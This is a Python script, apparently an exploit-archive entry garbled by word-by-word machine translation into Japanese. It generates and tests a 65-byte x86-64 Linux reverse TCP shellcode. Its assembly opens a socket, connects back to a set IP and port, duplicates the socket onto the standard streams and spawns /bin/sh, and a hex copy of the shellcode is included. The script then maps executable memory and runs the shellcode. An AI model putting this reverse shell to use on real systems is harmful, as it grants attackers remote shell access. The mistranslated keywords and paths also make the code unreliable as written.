このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
#!/usr/貯蔵所/env python3 輸入する ctypes, struct, binascii, os, socket from keystone 輸入する * ##################################################### # # # Dynamic null-解放する/自由な 逆転する TCP 爆撃する(65 bytes) * # Written by Philippe Dugre # # # ##################################################### #shellcode = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e" #shellcode += b"\x0f\x05\x97\xb0\x2a\x48\xb9\xfe\xff\xee" #shellcode += b"\xa3\x80\xff\xff\xfe\x48\xf7\xd9\x51\x54" #shellcode += b"\x5e\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21" #shellcode += b"\xff\xce\x0f\x05\x75\xf8\x99\xb0\x3b\x52" #shellcode += b"\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68" #shellcode += b"\x51\x54\x5f\x0f\x05" # This script 要求するs keystone to 生成する the shellcode, # but it can easily be 収集するd with nasm with a few modifications. # 生成するs struct from IP and port def sockaddr(): # Change this IP = "127.0.0.1" PORT = 4444 family = struct.pack('H', socket.AF_INET) portbytes = struct.pack('H', socket.htons(PORT)) ipbytes = socket.inet_aton(IP) number = struct.unpack('Q', family + portbytes + ipbytes) number = -number[0] #negate return "0x" + binascii.hexlify(struct.pack('>q', number)).decode('utf-8') # 機能(する)/行事 to 判型 shellcode to a printable 生産(高). 現在/一般に python3 formatting. # 修正する によれば the language you use. def format_shellcode(shellcode): LINE_LENGTH=40 raw = binascii.hexlify(shellcode) escaped = (b"\\x" + b"\\x".join(raw[i:i+2] for i in 範囲 (0, len(raw), 2))).decode('utf-8') lines = [escaped[i: i+LINE_LENGTH] for i in 範囲(0, len(escaped), LINE_LENGTH)] return "shellcode = \tb\"" + "\"\nshellcode += \tb\"".join(lines) + "\"" def main(): # 公式文書,認める: null-byte depends on the 演説(する)/住所 and port. # Special modifications might be needed for some 演説(する)/住所. 演説(する)/住所 = sockaddr() # Shellcode is here 議会 = ( "socket: " " 押し進める byte 41 ;" # 押し進める/pop will 始める,決める syscall num " pop rax ;" " cdq ;" # cdq 始める,決めるs rdx to 0 if rax is 肯定的な " 押し進める byte 2 ;" # AF_INET = 2 " pop rdi ;" " 押し進める byte 1 ;" # SOCK_STREAM = 1 " pop rsi ;" " syscall ;" # socket(AF_INET, SOCK_STREAM, 0) "connect: ;" " xchg eax, edi ;" # rdi is 2, so moving only al is doable " mov al, 42 ;" " mov rcx, " + 演説(する)/住所 + ";" + # Socket 演説(する)/住所 and port " neg rcx ;" " 押し進める rcx ;" " 押し進める rsp ;" # mov rsi, rsp. This it the pointer to sockaddr " pop rsi ;" " mov dl, 16 ;" # sockaddr length " syscall ;" # connect(s, addr, len(addr)) "dup2: ;" " 押し進める byte 3 ;" # Start with 3 and decrement " pop rsi ;" "dup2_loop: " # Duplicate socket fd into stdin, # stdout and stderr, which fd are 0, 1 and 2 " mov al, 33 ;" # If there is no error, rax is 0 on connect and dup2 " dec esi ;" " syscall ;" # dup2(s, rsi) " jnz dup2_loop ;" # Jump when esi == 0 "execve: " " cdq ;" " mov al, 59 ;" # execve syscall is 59 " 押し進める rdx ;" # Put null-byte in /貯蔵所//sh " mov rcx, 0x68732f2f6e69622f ;" # /貯蔵所//sh " 押し進める rcx ;" " 押し進める rsp ;" # rsp points to the 最高の,を越す of the stack, which is 占領するd by /貯蔵所/sh " pop rdi ;" # We use a 押し進める/pop to 妨げる null-byte and get a shorter shellcode " syscall ;" # execve('/貯蔵所//sh', 0, 0) ) engine = Ks(KS_ARCH_X86, KS_MODE_64) shellcode, count = engine.asm(議会) shellcode = bytearray(shellcode) # Needs to be mutable for later print("Number of 指示/教授/教育s: " + str(count)) # Print shellcode in a copy-pasteable 判型 print() print("Shellcode length: %d" % len(shellcode)) print() print(format_shellcode(shellcode)) print() ##################################################################### # TESTING THE SHELLCODE # ##################################################################### # The 残り/休憩(する) of the script is used to 実験(する) the shellcode. Don't run this if you just need the shellcode # Leave time to attach the debugger print("If you want to debug, attach the debugger to the python 過程 with pid %d then 圧力(をかける) enter." % os.getpid()) input() # 負担 libraries libc = ctypes.cdll.LoadLibrary("libc.so.6") libpthread = ctypes.cdll.LoadLibrary("libpthread.so.0") # Put the shellcode into a ctypes valid type. shellcode = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # Both 機能(する)/行事 returns 64bits pointers libc.malloc.restype = ctypes.POINTER(ctypes.c_int64) libc.mmap.restype = ctypes.POINTER(ctypes.c_int64) # Get page size for mmap page_size = libc.getpagesize() # mmap 行為/法令/行動するs like malloc, but can also 始める,決める memory 保護 so we can create a 令状/遂行する/発効させる shellcodefer # 無効の *mmap(無効の *addr, size_t len, int prot, int 旗s, # int fildes, off_t off); ptr = libc.mmap(ctypes.c_int64(0), # NULL ctypes.c_int(page_size), # Pagesize, needed for alignment ctypes.c_int(0x07), # Read/令状/遂行する/発効させる: PROT_READ | PROT_WRITE | PROT_EXEC ctypes.c_int(0x21), # MAP_ANONYMOUS | MAP_SHARED ctypes.c_int(-1), # No とじ込み/提出する descriptor ctypes.c_int(0)) # No 相殺する # Copy shellcode to newly 配分するd page. libc.memcpy(ptr, # 目的地 of our shellcode shellcode, # Shellcode 場所 in memory ctypes.c_int(len(shellcode))) # Nomber of bytes to copy # 配分する space for pthread_t 反対する. # 公式文書,認める that pthread_t is 8 bytes long, so we'll 扱う/治療する it as an opaque int64 for 簡単 thread = libc.malloc(ctypes.c_int(8)) # Create pthread in the shellcodefer. # int pthread_create(pthread_t *thread, const pthread_attr_t *attr, # 無効の *(*start_routine) (無効の *), 無効の *arg); libpthread.pthread_create(thread, # The pthread_t structure pointer where the thread id will be 蓄える/店d ctypes.c_int(0),# せいにするs = NULL ptr, # Our shellcode, which is what we want to 遂行する/発効させる ctypes.c_int(0))# NULL, as we don't pass arguments # Wait for the thread. # int pthread_join(pthread_t thread, 無効の **retval); libpthread.pthread_join(thread.contents,# Here, we pass the actual thread 反対する, not a pointer to it ctypes.c_int(0))# Null, as we don't 推定する/予想する a return value if(__name__ == "__main__"): main()